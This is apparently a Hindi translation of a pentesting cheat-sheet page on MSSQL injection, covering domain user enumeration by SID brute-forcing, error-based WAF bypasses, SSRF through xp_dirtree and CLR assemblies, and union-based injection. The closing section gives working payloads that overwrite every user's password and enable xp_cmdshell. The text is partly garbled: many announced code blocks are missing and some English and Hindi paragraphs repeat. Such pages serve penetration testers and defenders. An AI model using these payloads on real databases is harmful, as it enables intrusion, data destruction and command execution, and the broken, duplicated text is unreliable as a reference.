MSSQL Injection
MSSQL Injection
Active Directory enumeration
एक MSSQL सर्वर के अंदर SQL इन्जेक्शन के माध्यम से डोमेन उपयोगकर्ताओं को जांचना संभव हो सकता है निम्नलिखित MSSQL फंक्शन का उपयोग करके:
SELECT DEFAULT_DOMAIN()
: वर्तमान डोमेन नाम प्राप्त करें।master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: यदि आप डोमेन का नाम जानते हैं (उदाहरण के लिए DOMAIN) तो यह फ़ंक्शन प्रशासक उपयोगकर्ता Administrator का SID हेक्स प्रारूप में लौटाएगा। यह0x01050000000[...]0000f401
जैसा दिखेगा, ध्यान दें कि अंतिम 4 बाइट नंबर 500 हैं जो बड़े इंडियन प्रारूप में है, जो प्रशासक उपयोगकर्ता का सामान्य आईडी है। यह फ़ंक्शन आपको डोमेन की आईडी पता करने की अनुमति देगा (अंतिम 4 बाइट को छोड़कर सभी बाइट्स)।SUSER_SNAME(0x01050000000[...]0000e803)
: यह फ़ंक्शन निर्दिष्ट आईडी का उपयोगकर्ता नाम लौटाएगा (यदि कोई हो), इस मामले में 0000e803 बड़े इंडियन में == 1000 (आम तौर पर यह पहले नियमित उपयोगकर्ता आईडी का आईडी है)। फिर आप सोच सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता आईडी को ब्रूट-फ़ोर्स कर सकते हैं और संभावित रूप से डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के रूप में निम्नलिखित फ़ंक्शन का उपयोग करके:
वैकल्पिक त्रुटि-आधारित वेक्टर्स
त्रुटि-आधारित SQL इन्जेक्शन आम तौर पर +AND+1=@@version--
जैसे निर्माणों की तरह होती हैं और वेरिएंट्स जो "OR" ऑपरेटर पर आधारित हैं। इस तरह के अभिव्यक्तियों को शामिल करने वाले क्वेरी आम तौर पर WAFs द्वारा अवरोधित किए जाते हैं। एक बायपास के रूप में, खोजी गई डेटा पर डेटा प्रकार परिवर्तन त्रुटि को ट्रिगर करने वाले विशिष्ट फ़ंक्शन कॉल के परिणाम के साथ %2b वर्ण का उपयोग करें।
इन तरह के फ़ंक्शनों के कुछ उदाहरण:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
फ़ंक्शन USER_NAME()
का उपयोग का उदाहरण:
SSRF
ये SSRF ट्रिक्स यहाँ से ली गई थीं
fn_xe_file_target_read_file
fn_xe_file_target_read_file
इसे सर्वर पर VIEW SERVER STATE
अनुमति की आवश्यकता है।
fn_get_audit_file
fn_get_audit_file
इसे CONTROL SERVER
अनुमति की आवश्यकता होती है।
fn_trace_gettabe
fn_trace_gettabe
इसे CONTROL SERVER
अनुमति की आवश्यकता है।
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
, xp_fileexists
, xp_subdirs
जैसे कि माइक्रोसॉफ्ट द्वारा आधिकारिक रूप से दस्तावेज़ीकृत नहीं किया गया है, xp_dirtree
जैसी स्टोर्ड प्रोसीजर्स को अन्य लोगों ने ऑनलाइन वर्णित किया है क्योंकि ये MSSQL के भीतर नेटवर्क ऑपरेशन में उपयोगी हैं। इन प्रक्रियाओं का उपयोग आउट ऑफ बैंड डेटा निकासी में अक्सर किया जाता है, जैसा कि विभिन्न उदाहरणों और पोस्टों में प्रदर्शित किया गया है।
उदाहरण के लिए, xp_dirtree
स्टोर्ड प्रोसीजर, नेटवर्क अनुरोध करने के लिए उपयोग किया जाता है, लेकिन यह केवल TCP पोर्ट 445 पर सीमित है। पोर्ट नंबर संशोधित नहीं किया जा सकता है, लेकिन यह नेटवर्क शेयर से पढ़ने की अनुमति देता है। उपयोग निम्नलिखित SQL स्क्रिप्ट में प्रदर्शित किया गया है:
यह उल्लेखनीय है कि यह विधि सभी सिस्टम कॉन्फ़िगरेशन पर काम नहीं कर सकती, जैसे कि Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
जो डिफ़ॉल्ट सेटिंग्स के साथ Windows Server 2016 Datacenter
पर चल रहा है।
इसके अतिरिक्त, master..xp_fileexist
और xp_subdirs
जैसे वैकल्पिक स्टोर्ड प्रोसीजर हैं जो समान परिणाम प्राप्त कर सकते हैं। xp_fileexist
पर अधिक विवरण TechNet article में उपलब्ध है।
xp_cmdshell
xp_cmdshell
स्पष्ट रूप से आप xp_cmdshell
का उपयोग करके कुछ ऐसा एक्सीक्यूट कर सकते हैं जो SSRF को ट्रिगर करता है। अधिक जानकारी के लिए पृष्ठ में संबंधित खंड पढ़ें:
MSSQL उपयोगकर्ता परिभाषित कार्य - SQLHttp
CLR UDF (Common Language Runtime User Defined Function) बनाना, जो किसी भी .NET भाषा में लिखा गया कोड है और एक DLL में कंपाइल किया गया है, ताकि इसे MSSQL में लोड करने के लिए निर्मित कार्यों को निष्पादित करने के लिए dbo
एक्सेस की आवश्यकता होती है। इसका मतलब है कि यह सामान्यत: तब संभव होता है जब डेटाबेस कनेक्शन sa
के रूप में या एडमिनिस्ट्रेटर भूमिका के साथ की जाती है।
एक विजुअल स्टूडियो परियोजना और स्थापना निर्देश इस गिटहब रिपॉजिटरी में प्रदान किए गए हैं ताकि MSSQL में बाइनरी को CLR एसेम्बली के रूप में लोड करने की प्रक्रिया को सुविधाजनक बनाया जा सके, जिससे MSSQL में से HTTP GET अनुरोधों को निष्पादित करने की संभावना हो।
इस कार्यक्षमता का मूल भाग http.cs
फ़ाइल में संग्रहीत है, जो WebClient
वर्ग का उपयोग करता है एक GET अनुरोध को निष्पादित करने और सामग्री प्राप्त करने के लिए जैसा दिखाया गया है:
पहले CREATE ASSEMBLY
SQL कमांड को निष्पादित करने से पहले, निम्नलिखित SQL स्निपेट को चलाने की सलाह दी जाती है ताकि असेम्बली के SHA512 हैश को सर्वर की विश्वसनीय असेम्बलियों की सूची में जोड़ा जा सके (जिसे select * from sys.trusted_assemblies;
के माध्यम से देखा जा सकता है):
जब एसेम्बली सफलतापूर्वक जोड़ दिया जाता है और फ़ंक्शन बनाया जाता है, तो निम्नलिखित SQL कोड का उपयोग HTTP अनुरोध करने के लिए किया जा सकता है:
त्वरित शोध: एक ही क्वेरी में पूरी तालिका सामग्री प्राप्त करना
एक संक्षिप्त विधि जिससे एक ही क्वेरी में किसी तालिका की पूरी सामग्री निकाली जा सकती है, उसमें FOR JSON
शर्त का उपयोग शामिल है। यह दृष्टिकोण FOR XML
शर्त का उपयोग करने से अधिक संक्षेपित है, जिसमें "raw" जैसा विशिष्ट मोड आवश्यक होता है। FOR JSON
शर्त को उसकी संक्षिप्तता के लिए पसंद किया जाता है।
यहाँ वर्तमान डेटाबेस से स्कीमा, तालिकाएं, और स्तंभ प्राप्त करने का तरीका है:
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
MSSQL Injection
Union-Based SQL Injection
To perform a union-based SQL injection attack on a MSSQL database, you can use the following URL format:
यूनियन-आधारित SQL इन्जेक्शन
MSSQL डेटाबेस पर यूनियन-आधारित SQL इन्जेक्शन हमला करने के लिए, आप निम्नलिखित URL प्रारूप का उपयोग कर सकते हैं:
MSSQL Injection
Union-Based SQL Injection
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:
यूनियन-आधारित SQL इन्जेक्शन
MSSQL डेटाबेस पर यूनियन-आधारित SQL इन्जेक्शन करने के लिए, आप विकल्पित पैरामीटर में निम्नलिखित पेलोड का उपयोग कर सकते हैं:
हैकर्स द्वारा उपयोग किया जाने वाला कोड:
Can be reduced to:
एक अनर्थक exec() जोड़ें और WAF को यह मानने के लिए बनाएं कि यह एक मान्य क्वेरी नहीं है
admina'union select 1,'admin','testtest123'exec('select 1')--
यह होगा:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'
अजीब ढंग से बनाई गई क्वेरी का उपयोग करना
admin'exec('update[users]set[password]=''a''')--
यह होगा:
SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'
या xp_cmdshell को सक्षम करना
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
यह होगा
select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Last updated